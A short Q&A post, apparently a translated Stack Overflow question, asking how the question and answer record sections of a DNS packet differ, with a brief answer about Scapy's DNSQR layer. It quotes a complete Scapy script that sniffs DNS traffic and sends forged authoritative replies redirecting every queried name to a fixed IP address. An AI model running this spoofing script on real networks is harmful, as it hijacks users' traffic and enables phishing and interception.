DNS报文中不同种类的资源记录块有什么作用?

What are the functions of different kinds of resource record blocks in a DNS packet?

我知道资源记录部分的结构,它看起来像这样:enter image description here

但是在阅读一个dns欺骗插件的源代码时,我完全迷路了:

    from scapy.all import *
def dns_spoof(pkt):
    redirect_to = '172.16.1.63'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)

QD 和 AN RR 之间有什么区别,为什么我们必须在此数据包中使用 QD?

DNS qr应该理解为客户端发送的查询数据。 Scapy 使用 DNSQR 字段来表示这个结构。因此,更容易将 qr 部分与其他 RR 字段分开。